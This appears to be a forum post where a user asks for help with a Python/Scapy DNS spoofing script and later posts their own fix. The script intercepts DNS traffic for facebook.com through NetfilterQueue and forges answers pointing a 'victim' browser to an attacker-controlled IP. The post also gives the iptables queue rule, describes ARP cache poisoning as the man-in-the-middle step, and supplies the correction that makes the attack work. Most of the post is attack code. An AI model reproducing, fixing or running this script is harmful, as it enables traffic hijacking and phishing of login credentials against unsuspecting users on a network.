Odtnhj

i don't know why mi script don't work, the victim browser shows : ERR: named not resolved.

My script

from scapy.all import *
from netfilterqueue import NetfilterQueue

spoofDomain = 'www.facebook.com'
spoofResolvedIp = '172.16.16.162'
queueId = 1

def dnsSpoof(packet):
 originalPayload = IP( packet.get_payload() )

 if not originalPayload.haslayer(DNSQR):
 # Not a dns query, accept and go on
 packet.accept()
 else:
 if ("m.facebook.com" in originalPayload[DNS].qd.qname) or ("facebook.com" in originalPayload[DNS].qd.qname) or ("www.facebook.com" in originalPayload[DNS].qd.qname) or ("edge-chat.facebook.com" in originalPayload[DNS].qd.qname):
 print "Intercepted DNS request for " + spoofDomain + ": " + originalPayload.summary()

 # Build the spoofed response
 spoofedPayload = IP(dst=originalPayload[IP].dst, src=originalPayload[IP].src)/
 UDP(dport=originalPayload[UDP].dport, sport=originalPayload[UDP].sport)/
 DNS(id=originalPayload[DNS].id, qr=1, aa=1, qd=originalPayload[DNS].qd,
 an=DNSRR(rrname=originalPayload[DNS].qd.qname, ttl=10, rdata=spoofResolvedIp))

 print "Spoofing DNS response to: " + spoofedPayload.summary()
 packet.set_payload(str(spoofedPayload))
 packet.accept()
 print "------------------------------------------"
 else:
 # DNS query but not for target spoofDomain, accept and go on
 packet.accept()

# bind the callback function to the queue
nfqueue = NetfilterQueue()
nfqueue.bind(queueId, dnsSpoof)

# wait for packets
try:
 nfqueue.run()
except KeyboardInterrupt:
 print('')

nfqueue.unbind()

I use iptables -t mangle -I FORWARD -p udp -j NFQUEUE --queue-num 1 command.

Firs i perform a man in the middle attack by ARP Cache spoofing. I used wireshark to see the traffic and it seems to be ok, I don't know whats is going on.

I solved the problem, I was looking for queries I don't see that sorry

if not originalPayload.haslayer(DNSQR)

DNSQR is dns query, and I want to take dns answers, so the code is that:

if not originalPayload.haslayer(DNSRR)